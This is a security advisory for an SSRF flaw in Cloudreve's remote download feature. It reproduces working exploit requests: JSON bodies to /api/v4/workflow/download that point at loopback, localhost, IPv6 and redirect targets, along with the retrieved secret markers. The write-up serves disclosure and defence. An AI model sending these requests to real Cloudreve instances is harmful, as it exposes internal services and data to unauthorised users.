CVE-2026-54562: Cloudreve: Non-admin remote download users can SSRF loopback/internal services and read imported responses

Summary

Cloudreve's remote download workflow accepts user-supplied URLs and passes them to the configured downloader without blocking loopback, localhost, IPv6 localhost, or redirect-to-loopback targets.

When the remote download permission is granted to a non-admin user group, a normal authenticated user can make the server-side downloader fetch internal-only URLs and then read the fetched response after it is imported into the user's own Cloudreve files.

This does not affect default normal users unless the remote download permission is enabled for their group. However, the permission is a feature-level user-group capability and does not make the user an administrator.

Attacker requirements

The attacker must be:

- authenticated - non-admin - in a user group where GroupPermissionRemoteDownload is enabled

Default normal users are blocked from the affected workflow. In the default install, only the admin group has the remote download permission, while the default User group does not.

Affected endpoint

http POST /api/v4/workflow/download

Follow-up attacker readback was performed through normal workflow and file APIs:

http GET /api/v4/workflow?category=downloaded... GET /api/v4/file?uri=cloudreve://my... POST /api/v4/file/url

Root cause

The remote download workflow checks whether the user group has remote download permission, but it does not validate the submitted URL before passing it to the downloader.

Relevant code paths:

- service/explorer/workflows.go:81 - pkg/filemanager/workflows/remotedownload.go:202 - pkg/downloader/aria2/aria2.go:56

The application does not block loopback, localhost, IPv6 localhost, or redirect targets resolving to internal addresses.

Impact

A non-admin user with remote download permission can use Cloudreve as an SSRF primitive to access services reachable from the downloader environment.

In my test, the attacker could fetch internal loopback URLs and read the response body after Cloudreve imported the downloaded content into the attacker's own files.

Confirmed targets:

- http://127.0.0.1:7777/secret2 - http://localhost:7777/localsecret - http://[::1]:7780/v6secret - redirect to http://127.0.0.1:7777/redirsecret

This can expose internal HTTP services, loopback-only admin panels, local service metadata, or other network resources that are not directly reachable by the attacker.

Reproduction

1. Permission negative control

The attacker is a normal non-admin user in the default User group.

Before enabling remote download for the group:

http POST /api/v4/workflow/download Content-Type: application/json

{"src":["http://127.0.0.1:7777/secret"],"dst":"cloudreve://my"}

Response:

json {"code":40007,"msg":"Group not allowed to download files"}

2. Enable only remote download permission for the non-admin group

The default install grants remote download to the admin group only. The default User group does not have it.

Confirmed in:

- inventory/migration.go:154 - inventory/migration.go:179

For this test, I only changed group 2 permissions from:

text hAg=

to:

text hAo=

The attacker remained in the User group and was not made admin. GET /api/v4/user/me still returned the group name as User.

3. Start an internal listener

Example listener on the Cloudreve host:

text 127.0.0.1:7777

The listener returned a marker response:

text SSRFSECRET220260527

4. Queue a remote download to loopback

http POST /api/v4/workflow/download Content-Type: application/json

{"src":["http://127.0.0.1:7777/secret2"],"dst":"cloudreve://my"}

Response:

json {"code":0,"data":[{"id":"OzH4","status":"queued","type":"remotedownload"}]}

The internal listener received the request:

text 127.0.0.1 - - [27/May/2026 13:00:46] "GET /secret2 HTTP/1.1" 200 -

Aria2 completed the download:

text Download complete: /home/b4r/cysec/cvehunting/cloudreve/data/temp/.../secret2

5. Read the imported internal response as the attacker

The task completed successfully:

json {"id":"OzH4","status":"completed","summary":{"props":{"srcstr":"http://127.0.0.1:7777/secret2","failed":0}}}

The attacker could list the imported file:

json {"name":"secret2","path":"cloudreve://my/secret2"}

The attacker could then download and read the response body:

text SSRFSECRET220260527

Additional validated variants

localhost

Input:

text http://localhost:7777/localsecret

Attacker readback:

text LOCALHOSTSECRET20260527

Redirect to loopback

Input:

text http://127.0.0.1:7779/anything

Redirect:

text 302 Location: http://127.0.0.1:7777/redirsecret

Attacker readback:

text REDIRSECRET20260527

IPv6 localhost

Input:

text http://[::1]:7780/v6secret

Attacker readback:

text IPV6SECRET20260527

Expected behavior

Cloudreve should reject remote download URLs that resolve to loopback, localhost, private network ranges, link-local ranges, metadata service ranges, or other internal-only targets unless explicitly allowed by an administrator.

Redirect targets should be checked with the same policy.

Actual behavior

Cloudreve accepts the URL, passes it to the downloader, imports the fetched internal response into the attacker's files, and allows the attacker to read it.